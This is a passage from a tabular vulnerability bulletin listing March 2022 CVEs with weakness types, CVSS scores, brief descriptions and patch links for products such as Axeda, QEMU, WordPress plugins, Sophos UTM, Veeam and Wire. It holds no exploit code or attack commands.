coded Credentials			Windows (All versions) uses hard-coded credentials for its UltraVNC installation. Successful exploitation of this vulnerability could allow a remote authenticated attacker to take full remote control of the host operating system. **CVE ID : CVE-2022-25246**	ort/article/CS363561	
Missing Authentication for Critical Function	16-Mar-22	9.8	Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) may allow an attacker to send certain commands to a specific port without authentication. Successful exploitation of this vulnerability could allow a remote unauthenticated attacker to obtain full file-system access and remote code execution. **CVE ID : CVE-2022-25247**	https://www.ptc.com/en/support/article/CS363561	A-PTC-AXED-070422/200
Exposure of Sensitive Information to an	16-Mar-22	5.3	When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions)	https://www.ptc.com/en/support/article/CS363561	A-PTC-AXED-070422/201

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Unauthorized Actor			supplies the event log of the specific service. **CVE ID : CVE-2022-25248**		
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	16-Mar-22	7.5	When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) (disregarding Axeda agent v6.9.2 and v6.9.3) is vulnerable to directory traversal, which could allow a remote unauthenticated attacker to obtain file system read access via web server.. **CVE ID : CVE-2022-25249**	https://www.ptc.com/en/support/article/CS363561	A-PTC-AXED-070422/202
Missing Authentication for Critical Function	16-Mar-22	7.5	When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) may allow an attacker to send a certain command to a specific port without authentication. Successful exploitation of this vulnerability could allow a remote unauthenticated attacker to shut	https://www.ptc.com/en/support/article/CS363561	A-PTC-AXED-070422/203

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			down a specific service. **CVE ID : CVE-2022-25250**		
Missing Authentication for Critical Function	16-Mar-22	9.8	When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) may allow an attacker to send certain XML messages to a specific port without proper authentication. Successful exploitation of this vulnerability could allow a remote unauthenticated attacker to read and modify the affected product’s configuration. **CVE ID : CVE-2022-25251**	https://www.ptc.com/en/support/article/CS363561	A-PTC-AXED-070422/204
Improper Check for Unusual or Exceptional Conditions	16-Mar-22	7.5	When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) when receiving certain input throws an exception. Services using said function do not handle the exception. Successful exploitation of this vulnerability could allow a remote unauthenticated	https://www.ptc.com/en/support/article/CS363561	A-PTC-AXED-070422/205

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attacker to crash the affected product. **CVE ID : CVE-2022-25252**		
Product: axeda_desktop_server					
Use of Hard-coded Credentials	16-Mar-22	8.8	Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) uses hard-coded credentials for its UltraVNC installation. Successful exploitation of this vulnerability could allow a remote authenticated attacker to take full remote control of the host operating system. **CVE ID : CVE-2022-25246**	https://www.ptc.com/en/support/article/CS363561	A-PTC-AXED-070422/206
Missing Authentication for Critical Function	16-Mar-22	9.8	Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) may allow an attacker to send certain commands to a specific port without authentication. Successful exploitation of this vulnerability could allow a remote unauthenticated attacker to obtain full file-system	https://www.ptc.com/en/support/article/CS363561	A-PTC-AXED-070422/207

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			access and remote code execution. **CVE ID : CVE-2022-25247**		
Exposure of Sensitive Information to an Unauthorized Actor	16-Mar-22	5.3	When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) supplies the event log of the specific service. **CVE ID : CVE-2022-25248**	https://www.ptc.com/en/support/article/CS363561	A-PTC-AXED-070422/208
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	16-Mar-22	7.5	When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) (disregarding Axeda agent v6.9.2 and v6.9.3) is vulnerable to directory traversal, which could allow a remote unauthenticated attacker to obtain file system read access via web server.. **CVE ID : CVE-2022-25249**	https://www.ptc.com/en/support/article/CS363561	A-PTC-AXED-070422/209
Missing Authentication for Critical Function	16-Mar-22	7.5	When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) may allow an attacker to send a certain	https://www.ptc.com/en/support/article/CS363561	A-PTC-AXED-070422/210

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			command to a specific port without authentication. Successful exploitation of this vulnerability could allow a remote unauthenticated attacker to shut down a specific service. **CVE ID : CVE-2022-25250**		
Missing Authentication for Critical Function	16-Mar-22	9.8	When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) may allow an attacker to send certain XML messages to a specific port without proper authentication. Successful exploitation of this vulnerability could allow a remote unauthenticated attacker to read and modify the affected product’s configuration. **CVE ID : CVE-2022-25251**	https://www.ptc.com/en/support/article/CS363561	A-PTC-AXED-070422/211
Improper Check for Unusual or Exceptional Conditions	16-Mar-22	7.5	When connecting to a certain port Axeda agent (All versions) and Axeda Desktop Server for Windows (All versions) when receiving certain	https://www.ptc.com/en/support/article/CS363561	A-PTC-AXED-070422/212

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			input throws an exception. Services using said function do not handle the exception. Successful exploitation of this vulnerability could allow a remote unauthenticated attacker to crash the affected product. **CVE ID : CVE-2022-25252**		
Vendor: python-poetry					
Product: poetry					
Untrusted Search Path	21-Mar-22	9.8	Poetry v1.1.9 and below was discovered to contain an untrusted search path which causes the application to behave in unexpected ways when users execute Poetry commands in a directory containing malicious content. This vulnerability occurs when the application is ran on Windows OS. **CVE ID : CVE-2022-26184**	https://github.com/python-poetry/poetry-core/pull/205/commits/fa9cb6f358ae840885c700f954317f34838caba7	A-PYT-POET-070422/213
Vendor: Qemu					
Product: qemu					
Missing Release of Resource after	16-Mar-22	7.5	A flaw was found in the virtio-net device of QEMU. This flaw was inadvertently	https://lists.nongnu.org/archive/html/qemu-devel/2022-	A-QEM-QEMU-070422/214

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Effective Lifetime			introduced with the fix for CVE-2021-3748, which forgot to unmap the cached virtqueue elements on error, leading to memory leakage and other unexpected results. Affected QEMU version: 6.2.0. **CVE ID : CVE-2022-26353**	03/msg02438.html	
Missing Release of Resource after Effective Lifetime	16-Mar-22	3.2	A flaw was found in the vhost-vsock device of QEMU. In case of error, an invalid element was not detached from the virtqueue before freeing its memory, leading to memory leakage and other unexpected results. Affected QEMU versions <= 6.2.0. **CVE ID : CVE-2022-26354**	https://gitlab.com/qemu-project/qemu/-/commit/8d1b247f3748ac4078524130c6d7ae42b6140aaf	A-QEM-QEMU-070422/215
Vendor: quantumcloud					
Product: infographic_maker					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	21-Mar-22	9.8	The Infographic Maker WordPress plugin before 4.3.8 does not validate and escape the post_id parameter before using it in a SQL statement via the qcld_upvote_action AJAX action (available to unauthenticated and authenticated users),	https://plugins.trac.wordpress.org/changeset/2684336	A-QUA-INFO-070422/216

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			leading to an unauthenticated SQL Injection **CVE ID : CVE-2022-0747**		
Product: simple_link_directory					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	21-Mar-22	9.8	The Simple Link Directory WordPress plugin before 7.7.2 does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL Injection **CVE ID : CVE-2022-0760**	https://plugins.trac.wordpress.org/changeset/2684915	A-QUA-SIMP-070422/217
Vendor: quarkus					
Product: quarkus					
Incorrect Authorization	23-Mar-22	8.8	A flaw was found in Quarkus. The state and potentially associated permissions can leak from one web request to another in RestEasy Reactive. This flaw allows a low-privileged user to perform operations on the database with a different set of	N/A	A-QUA-QUAR-070422/218

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			privileges than intended. **CVE ID : CVE-2022-0981**		
Vendor: Radare					
Product: radare2					
Use After Free	22-Mar-22	7.8	Use After Free in op_is_set_bp in GitHub repository radareorg/radare2 prior to 5.6.6. **CVE ID : CVE-2022-1031**	https://huntr.dev/bounties/37da2cd6-0b46-4878-a32e-acbfd8f6f457, https://github.com/radareorg/radare2/commit/a7ce29647fcb38386d7439696375e16e093d6acb	A-RAD-RADA-070422/219
Vendor: Rapid7					
Product: insight_agent					
Unquoted Search Path or Element	17-Mar-22	7.8	Rapid7 Insight Agent versions 3.1.2.38 and earlier suffer from a privilege escalation vulnerability, whereby an attacker can hijack the flow of execution due to an unquoted argument to the runas.exe command used by the ir_agent.exe component, resulting in elevated rights and persistent access to the machine. This issue was fixed in Rapid7 Insight Agent version 3.1.3.80. **CVE ID : CVE-2022-0237**	https://docs.rapid7.com/release-notes/insightagent/20220225/	A-RAP-INSI-070422/220

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: nexpose					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	17-Mar-22	9.8	Rapid7 Nexpose versions 6.6.93 and earlier are susceptible to an SQL Injection vulnerability, whereby valid search operators are not defined. This lack of validation can allow an attacker to manipulate the "ANY" and "OR" operators in the SearchCriteria and inject SQL code. This issue was fixed in Rapid7 Nexpose version 6.6.129. **CVE ID : CVE-2022-0757**	https://docs.rapid7.com/release-notes/nexpose/20220302/	A-RAP-NEXP-070422/221
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	17-Mar-22	6.1	Rapid7 Nexpose versions 6.6.129 and earlier suffer from a reflected cross site scripting vulnerability, within the shared scan configuration component of the tool. With this vulnerability an attacker could pass literal values as the test credentials, providing the opportunity for a potential XSS attack. This issue is fixed in Rapid7 Nexpose version 6.6.130.	https://docs.rapid7.com/release-notes/nexpose/20220309/	A-RAP-NEXP-070422/222

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-0758		
Vendor: Redhat					
Product: virtualization					
Out-of-bounds Write	23-Mar-22	7.8	A heap buffer overflow flaw was found in IPsec ESP transformation code in net/ipv4/esp4.c and net/ipv6/esp6.c. This flaw allows a local attacker with a normal user privilege to overwrite kernel heap objects and may cause a local privilege escalation threat. **CVE ID : CVE-2022-27666**	https://bugzilla.redhat.com/show_bug.cgi?id=2061633, https://github.com/torvalds/linux/commit/ebe48d368e97d007bfeb76fcb065d6cfc4c96645	A-RED-VIRT-070422/223
Vendor: reputeinfosystems					
Product: bookingpress					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	21-Mar-22	9.8	The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied POST data before it is used in a dynamically constructed SQL query via the bookingpress_front_get_category_services AJAX action (available to unauthenticated users), leading to an unauthenticated SQL Injection	https://plugins.trac.wordpress.org/changeset/2684789	A-REP-BOOK-070422/224

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
		🟥	**CVE ID : CVE-2022-0739**		
Vendor: robotronic					
Product: runasspc					
Use of Hard-coded Credentials	16-Mar-22	7.5	RunAsSpc 4.0 uses a universal and recoverable encryption key. In possession of a file encrypted by RunAsSpc, an attacker can recover the credentials that were used. **CVE ID : CVE-2022-26660**	https://robotronic.de/secureen.html	A-ROB-RUNA-070422/225
Vendor: set-in_project					
Product: set-in					
Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')	17-Mar-22	9.8	The package set-in before 2.0.3 are vulnerable to Prototype Pollution via the setIn method, as it allows an attacker to merge object prototypes into it. **Note:** This vulnerability derives from an incomplete fix of [CVE-2020-28273](https://security.snyk.io/vuln/SNYK-JS-SETIN-1048049) **CVE ID : CVE-2022-25354**	https://github.com/ahdinosaur/set-in/commit/6bad255961d379e4b1f5fbc52ef9dc8420816f24, https://snyk.io/vuln/SNYK-JS-SETIN-2388571	A-SET-SET--070422/226
Vendor: showdoc					
Product: showdoc					
Unrestricted Upload of	22-Mar-22	7.2	There is a Unrestricted Upload	https://github.com/star7th/sho	A-SHO-SHOW-070422/227

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
File with Dangerous Type			of File vulnerability in ShowDoc v2.10.3 in GitHub repository star7th/showdoc prior to 2.10.4. **CVE ID : CVE-2022-1034**	wdoc/commit/bd792a89c0325836fbd64784f4c4117c0171416b, https://huntr.dev/bounties/d205c489-3266-4ac4-acb7-c8ee570887f7	
Vendor: simple-membership-plugin					
Product: simple_membership					
Cross-Site Request Forgery (CSRF)	21-Mar-22	6.5	The Simple Membership WordPress plugin before 4.1.0 does not have CSRF check in place when deleting Transactions, which could allow attackers to make a logged in admin delete arbitrary transactions via a CSRF attack **CVE ID : CVE-2022-0681**	N/A	A-SIM-SIMP-070422/228
Vendor: simple-plist_project					
Product: simple-plist					
Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')	22-Mar-22	9.8	Simple-Plist v1.3.0 was discovered to contain a prototype pollution vulnerability via .parse(). **CVE ID : CVE-2022-26260**	N/A	A-SIM-SIMP-070422/229
Vendor: simple_client_management_system_project					
Product: simple_client_management_system					

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	21-Mar-22	9.8	Simple Client Management System v1.0 was discovered to contain a SQL injection vulnerability via the id parameter in the manage_client endpoint. This vulnerability allows attackers to dump the application's database via crafted HTTP requests. **CVE ID : CVE-2022-26284**	N/A	A-SIM-SIMP-070422/230
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	21-Mar-22	9.8	Simple Subscription Website v1.0 was discovered to contain a SQL injection vulnerability via the id parameter in the apply endpoint. This vulnerability allows attackers to dump the application's database via crafted HTTP requests. **CVE ID : CVE-2022-26285**	N/A	A-SIM-SIMP-070422/231
Vendor: simple_subscription_website_project					
Product: simple_subscription_website					
Improper Neutralization of Special Elements used in an SQL Command	21-Mar-22	9.8	Simple Subscription Website v1.0 was discovered to contain a SQL injection vulnerability via the id parameter in the view_plan endpoint. This vulnerability	N/A	A-SIM-SIMP-070422/232

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('SQL Injection')			allows attackers to dump the application's database via crafted HTTP requests. **CVE ID : CVE-2022-26283**		
Vendor: singoo					
Product: singoocms.utility					
Deserialization of Untrusted Data	17-Mar-22	9.8	This affects all versions of package SinGooCMS.Utility. The socket client in the package can pass in the payload via the user-controllable input after it has been established, because this socket client transmission does not have the appropriate restrictions or type bindings for the BinaryFormatter. **CVE ID : CVE-2022-0749**	N/A	A-SIN-SING-070422/233
Vendor: snapt					
Product: aria					
Cross-Site Request Forgery (CSRF)	21-Mar-22	8.8	A Cross-Site Request Forgery (CSRF) in the management portal of Snapt Aria v12.8 allows attackers to escalate privileges and execute arbitrary code via unspecified vectors. **CVE ID : CVE-2022-24235**	https://www.snapt.net/platforms/aria-adc	A-SNA-ARIA-070422/234

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Incorrect Permission Assignment for Critical Resource	21-Mar-22	3.5	An insecure permissions vulnerability in Snapt Aria v12.8 allows unauthenticated attackers to send e-mails from spoofed users' accounts. **CVE ID : CVE-2022-24236**	https://www.snapt.net/platforms/aria-adc	A-SNA-ARIA-070422/235
Improper Neutralization of Special Elements used in a Command ('Command Injection')	21-Mar-22	8.8	The snaptPowered2 component of Snapt Aria v12.8 was discovered to contain a command injection vulnerability. This vulnerability allows authenticated attackers to execute arbitrary commands. **CVE ID : CVE-2022-24237**	https://www.snapt.net/platforms/aria-adc	A-SNA-ARIA-070422/236
Vendor: Sophos					
Product: unified_threat_management					
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	22-Mar-22	8.8	A post-auth SQL injection vulnerability in the Mail Manager potentially allows an authenticated attacker to execute code in Sophos UTM before version 9.710. **CVE ID : CVE-2022-0386**	https://www.sophos.com/en-us/security-advisories/sophos-sa-20220321-utm-9710	A-SOP-UNIF-070422/237
Improper Restriction of Excessive	22-Mar-22	7.8	Confd log files contain local users', including rootâ€™s, SHA512crypt	https://www.sophos.com/en-us/security-advisories/soph	A-SOP-UNIF-070422/238

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Authentication Attempts			password hashes with insecure access permissions. This allows a local attacker to attempt off-line brute-force attacks against these password hashes in Sophos UTM before version 9.710. **CVE ID : CVE-2022-0652**	os-sa-20220321-utm-9710	
Vendor: std42					
Product: elfinder					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	21-Mar-22	9.1	connector.minimal.php in std42 elFinder through 2.1.60 is affected by path traversal. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths. **CVE ID : CVE-2022-26960**	https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db	A-STD-ELFI-070422/239
Vendor: subtlewebinc					
Product: formcraft3					
Server-Side Request Forgery (SSRF)	21-Mar-22	9.1	The FormCraft WordPress plugin before 3.8.28 does not validate the URL parameter in the formcraft3_get AJAX action, leading to SSRF issues exploitable by	N/A	A-SUB-FORM-070422/240

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthenticated users **CVE ID : CVE-2022-0591**		
Vendor: surveyking_project					
Product: surveyking					
Improper Neutralization of Formula Elements in a CSV File	24-Mar-22	9.8	Survey King v0.3.0 does not filter data properly when exporting excel files, allowing attackers to execute arbitrary code or access sensitive information via a CSV injection attack. **CVE ID : CVE-2022-26249**	N/A	A-SUR-SURV-070422/241
Vendor: Synology					
Product: diskstation_manager					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	25-Mar-22	9.8	Buffer copy without checking size of input ('Classic Buffer Overflow') vulnerability in Authentication functionality in Synology DiskStation Manager (DSM) before 6.2.3-25426-3 allows remote attackers to execute arbitrary code via unspecified vectors. **CVE ID : CVE-2022-22687**	https://www.synology.com/security/advisory/Synology_SA_20_26	A-SYN-DISK-070422/242
Improper Neutralization of Special Elements	25-Mar-22	8.8	Improper neutralization of special elements used in a command ('Command	https://www.synology.com/security/advisory/	A-SYN-DISK-070422/243

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
used in a Command ('Command Injection')			Injection') vulnerability in File service functionality in Synology DiskStation Manager (DSM) before 6.2.4-25556-2 allows remote authenticated users to execute arbitrary commands via unspecified vectors. **CVE ID : CVE-2022-22688**	Synology_SA_21_22	
Vendor: taogogo					
Product: taocms					
Unrestricted Upload of File with Dangerous Type	23-Mar-22	9.8	An arbitrary file upload vulnerability in the File Management function module of taoCMS v3.0.2 allows attackers to execute arbitrary code via a crafted PHP file. **CVE ID : CVE-2022-23880**	N/A	A-TAO-TAOC-070422/244
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	21-Mar-22	9.8	Taocms v3.0.2 was discovered to contain a SQL injection vulnerability via the id parameter in \include\Model\Category.php. **CVE ID : CVE-2022-25505**	N/A	A-TAO-TAOC-070422/245
Improper Control of Generation of Code	18-Mar-22	9.8	taocms v3.0.2 allows attackers to execute code injection via	N/A	A-TAO-TAOC-070422/246

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Code Injection')			arbitrarily editing the .htaccess file. **CVE ID : CVE-2022-25578**		
Vendor: Teamviewer					
Product: teamviewer					
Improper Resource Shutdown or Release	23-Mar-22	4.2	TeamViewer Linux versions before 15.28 do not properly execute a deletion command for the connection password in case of a process crash. Knowledge of the crash event and the TeamViewer ID as well as either possession of the pre-crash connection password or local authenticated access to the machine would have allowed to establish a remote connection by reusing the not properly deleted connection password. **CVE ID : CVE-2022-23242**	https://www.teamviewer.com/en/trust-center/security-bulletins/TV-2022-1001/	A-TEA-TEAM-070422/247
Vendor: teamwork_management_system_project					
Product: teamwork_management_system					
Incorrect Permission Assignment for Critical Resource	20-Mar-22	5.9	TMS v2.28.0 contains an insecure permissions vulnerability via the component /TMS/admin/user/Update2. This	N/A	A-TEA-TEAM-070422/248

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability allows attackers to modify the administrator account and password. **CVE ID : CVE-2022-26247**		
Vendor: tecnoteca					
Product: cmdbuild					
Insertion of Sensitive Information into Log File	22-Mar-22	6.5	In CMDBuild from version 3.0 to 3.3.2 payload requests are saved in a temporary log table, which allows attackers with database access to read the password of the users who login to the application by querying the database table. **CVE ID : CVE-2022-25518**	https://www.cmdbuild.org/en/reference/news/cmdbuild-3-3-3-intermediate-release-vulnerability-patch	A-TEC-CMDB-070422/249
Vendor: teluu					
Product: pjsip					
Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	22-Mar-22	7.5	PJSIP is a free and open source multimedia communication library written in C. Versions 2.12 and prior contain a stack buffer overflow vulnerability that affects PJSUA2 users or users that call the API `pjmedia_sdp_print() , pjmedia_sdp_media_print()`. Applications	https://github.com/pjsip/pjproject/commit/560a1346f87aabe126509bb24930106dea292b00, https://github.com/pjsip/pjproject/security/advisories/GHSA-f5qg-pqcg-765m	A-TEL-PJSI-070422/250

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			that do not use PJSUA2 and do not directly call `pjmedia_sdp_print()` or `pjmedia_sdp_media_print()` should not be affected. A patch is available on the `master` branch of the `pjsip/pjproject` GitHub repository. There are currently no known workarounds. **CVE ID : CVE-2022-24764**		
Vendor: thinkphp					
Product: thinkphp					
Exposure of Resource to Wrong Sphere	21-Mar-22	7.5	ThinkPHP Framework v5.0.24 was discovered to be configured without the PATHINFO parameter. This allows attackers to access all system environment parameters from index.php. **CVE ID : CVE-2022-25481**	N/A	A-THI-THIN-070422/251
Vendor: thriveweb					
Product: photoswipe_masonry_gallery					
Improper Neutralization of Input During Web Page Generation	23-Mar-22	5.4	The Photoswipe Masonry Gallery WordPress plugin is vulnerable to Cross-Site Scripting due to insufficient escaping and sanitization of	N/A	A-THR-PHOT-070422/252

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
('Cross-site Scripting')			the thumbnail_width, thumbnail_height, max_image_width, and max_image_height parameters found in the ~/photoswipe-masonry.php file which allows authenticated attackers to inject arbitrary web scripts into galleries created by the plugin and on the PhotoSwipe Options page. This affects versions up to and including 1.2.14. **CVE ID : CVE-2022-0750**		
Vendor: tiny_file_manager_project					
Product: tiny_file_manager					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	17-Mar-22	9.8	Path Traversal in GitHub repository prasathmani/tinyfilemanager prior to 2.4.7. **CVE ID : CVE-2022-1000**	https://github.com/prasathmani/tinyfilemanager/commit/154947ef83efeb68fc2b921065392b6a7fc9c965, https://huntr.dev/bounties/5995a93f-0c4b-4f7d-aa59-a64424219424	A-TIN-TINY-070422/253
Vendor: tms-outsource					
Product: amelia					
Cross-Site Request Forgery (CSRF)	21-Mar-22	4.3	The Amelia WordPress plugin before 1.0.47 does not have CSRF check in place when deleting customers,	N/A	A-TMS-AMEL-070422/254

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			which could allow attackers to make a logged in admin delete arbitrary customers via a CSRF attack **CVE ID : CVE-2022-0616**		
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	21-Mar-22	6.1	The Amelia WordPress plugin before 1.0.47 does not sanitize and escape the code parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting. **CVE ID : CVE-2022-0627**	N/A	A-TMS-AMEL-070422/255
Unrestricted Upload of File with Dangerous Type	21-Mar-22	8.8	The Amelia WordPress plugin before 1.0.47 stores image blobs into actual files whose extension is controlled by the user, which may lead to PHP backdoors being uploaded onto the site. This vulnerability can be exploited by logged-in users with the custom "Amelia Manager" role. **CVE ID : CVE-2022-0687**	N/A	A-TMS-AMEL-070422/256
Vendor: tms_project					
Product: tms					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	20-Mar-22	6.1	TMS v2.28.0 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /TMS/admin/setting/mail/createorupdate. **CVE ID : CVE-2022-26246**	N/A	A-TMS-TMS-070422/257
Vendor: typesettercms					
Product: typesetter					
Cross-Site Request Forgery (CSRF)	25-Mar-22	8.8	TypesetterCMS v5.1 was discovered to contain a Cross-Site Request Forgery (CSRF) which is exploited via a crafted POST request. **CVE ID : CVE-2022-25523**	N/A	A-TYP-TYPE-070422/258
Vendor: ungit_project					
Product: ungit					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	21-Mar-22	8.8	The package ungit before 1.5.20 are vulnerable to Remote Code Execution (RCE) via argument injection. The issue occurs when calling the /api/fetch endpoint. User controlled values (remote and ref) are passed to the git fetch command. By injecting some git options it was possible to get	https://github.com/FredrikNoren/ungit/pull/1510	A-UNG-UNGI-070422/259

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			arbitrary command execution. **CVE ID : CVE-2022-25766**		
Vendor: Veeam					
Product: backup_\&_replication					
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	17-Mar-22	8.8	Improper limitation of path names in Veeam Backup & Replication 9.5U3, 9.5U4,10.x, and 11.x allows remote authenticated users access to internal API functions that allows attackers to upload and execute arbitrary code. **CVE ID : CVE-2022-26500**	https://www.veeam.com/kb4288, https://veeam.com	A-VEE-BACK-070422/260
Incorrect Authorization	17-Mar-22	9.8	Veeam Backup & Replication 10.x and 11.x has Incorrect Access Control (issue 1 of 2). **CVE ID : CVE-2022-26501**	https://www.veeam.com/kb4288, https://veeam.com	A-VEE-BACK-070422/261
Improper Authentication	17-Mar-22	8.8	Improper authentication in Veeam Backup & Replication 9.5U3, 9.5U4,10.x and 11.x component used for Microsoft System Center Virtual Machine Manager (SCVMM) allows attackers execute arbitrary code via Veeam.Backup.PSManager.exe	https://www.veeam.com/kb4290, https://veeam.com	A-VEE-BACK-070422/262

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2022-26504		
Product: veeam					
Deserialization of Untrusted Data	17-Mar-22	7.8	Deserialization of untrusted data in Veeam Agent for Windows 2.0, 2.1, 2.2, 3.0.2, 4.x, and 5.x allows local users to run arbitrary code with local system privileges. **CVE ID : CVE-2022-26503**	https://veeam.com, https://www.veeam.com/kb4289	A-VEE-VEEA-070422/263
Vendor: Vmware					
Product: carbon_black_app_control					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	23-Mar-22	9.1	VMware Carbon Black App Control (8.5.x prior to 8.5.14, 8.6.x prior to 8.6.6, 8.7.x prior to 8.7.4 and 8.8.x prior to 8.8.2) contains an OS command injection vulnerability. An authenticated, high privileged malicious actor with network access to the VMware App Control administration interface may be able to execute commands on the server due to improper input validation leading to remote code execution. **CVE ID : CVE-2022-22951**	https://www.vmware.com/security/advisories/VMSA-2022-0008.html	A-VMW-CARB-070422/264

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Vendor: webnus					
Product: modern_events_calendar_lite					
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	21-Mar-22	5.4	The Modern Events Calendar Lite WordPress plugin before 6.4.0 does not sanitize and escape some of the Hourly Schedule parameters which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks **CVE ID : CVE-2022-0364**	N/A	A-WEB-MODE-070422/265
Vendor: wire					
Product: wire-server					
Improper Verification of Cryptographic Signature	16-Mar-22	8.1	wire-server provides back end services for Wire, an open source messenger. In versions of wire-server prior to the 2022-01-27 release, it was possible to craft DSA Signatures to bypass SAML SSO and impersonate any Wire user with SAML credentials. In teams with SAML, but without SCIM, it was possible to create new accounts with fake SAML credentials. Under certain conditions that can be established by an attacker, an	https://github.com/wireapp/wire-server/security/advisories/GHSA-9jg9-9g37-4424	A-WIR-WIRE-070422/266

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			upstream library for parsing, rendering, signing, and validating SAML XML data was accepting public keys as trusted that were provided by the attacker in the signature. As a consequence, the attacker could login as any user in any Wire team with SAML SSO enabled. If SCIM was not enabled, the attacker could also create new users with new SAML NameIDs. In order to exploit this vulnerability, the attacker needs to know the SSO login code (distributed to all team members with SAML credentials and visible in the Team Management app), the SAML EntityID identifying the IdP (a URL not considered sensitive, but usually hard to guess, also visible in Team Management), and the SAML NameID of the user (usually an email address or a nick). The issue has been fixed in wire-server `2022-01-27` and is already		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			deployed on all Wire managed services. On premise instances of wire-server need to be updated to `2022-01-27`, so that their backends are no longer affected. There are currently no known workarounds. More detailed information about how to reproduce the vulnerability and mitigation strategies is available in the GitHub Security Advisory. **CVE ID : CVE-2022-23610**		
Vendor: wp-downloadmanager_project					
Product: wp-downloadmanager					
